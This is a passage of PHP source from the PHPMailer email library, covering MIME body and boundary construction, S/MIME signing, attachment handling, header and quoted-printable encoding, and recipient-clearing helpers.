                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
